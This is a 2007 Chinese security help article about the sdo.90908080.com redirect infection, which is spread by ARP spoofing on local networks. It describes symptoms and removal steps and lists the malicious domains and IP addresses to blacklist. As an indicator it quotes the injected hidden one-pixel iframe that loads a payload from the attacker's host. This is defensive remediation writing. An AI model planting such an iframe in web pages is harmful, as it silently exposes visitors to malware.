新客网WWW.XKER.COM:致力做中国最专业的网络学院!
学院: 操作系统 - 网络应用 - 服务器 - 网络安全 - 工具软件 - 办公软件 - Web开发 - 数据库 - 网页设计 - 图形图像 - 媒体动画 - 硬件学堂 - 存储频道 - QQ专区
您的位置:首页 > 网络学院 > 网络安全 > 杀毒技术 > 正文:sdo.90908080.com病毒解决方法及专杀工具下载

sdo.90908080.com病毒解决方法及专杀工具下载

新客网 XKER.COM 2007-09-04 来源:新客网 xker 收藏本文

sdo.90908080.com病毒中毒症状:

sdo.90908080.com恶意链接、篡改IE

最近发现一个sdo.90908080.com恶意链接,起先只是访问网站时不断弹出ftp登录窗口,后来发展到访问任何网站都会转移到访问sdo.90908080.com,由此导致所有网站几乎不能访问,hosts文件完好、注册表无此内容,域名解析地址为:59.34.197.78

查看被盗链网页源文件发现盗链在第一行,访问很多网站都会修改网页第一行为

在网站的源文件中有 <iframe src='http://sdo. 90908080. com/bd.htm' width=1 height=1></iframe> 这一段代码

现在局域往网中大部分机都有这个问题 一打开网叶就出现

主要是一些比较大的网站会有 比如BAIDU 126 TOM等 (GOOGLE没有...)

现在陆由器检测到有几台机的流量很大(比一般的大几百倍) 换掉了 现在还是没有用 不知道是不是有残余..

sdo.90908080.com病毒清除办法:

sdo.90908080.com病毒是局域网内ARP攻击所造成的,要彻底的解决这个病毒

1.在局域网内找出中毒的机器,让机器在安全模式下面杀毒,清除病毒

2.全部被攻击的机器清除internet临时文件(cookies、其他临时文件:因为目前发现她只是通过缓存文件修改网页),重启一下

3.在防火墙或安全程序和路由器中sdo.90908080 . comwww .851733. cn加入黑名单,对应地址:59.34.197.78和60.190.114.35

4.安装arp个人防火墙

此病毒跟之前的ora.3168a.com病毒原理是一样,同样是arp欺骗的一种,详细解决办法也就不重复写,详细请看:ora.3168a.com病毒清除详细可行方案 。
ARP防火墙单机版下载

收藏】 【评论】 【推荐】 【投稿】 【打印】 【关闭
发表评论
要记得去论坛讨论,点击注册新会员匿名评论
评论内容:不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
阅读排行
随机推荐
实用信息推荐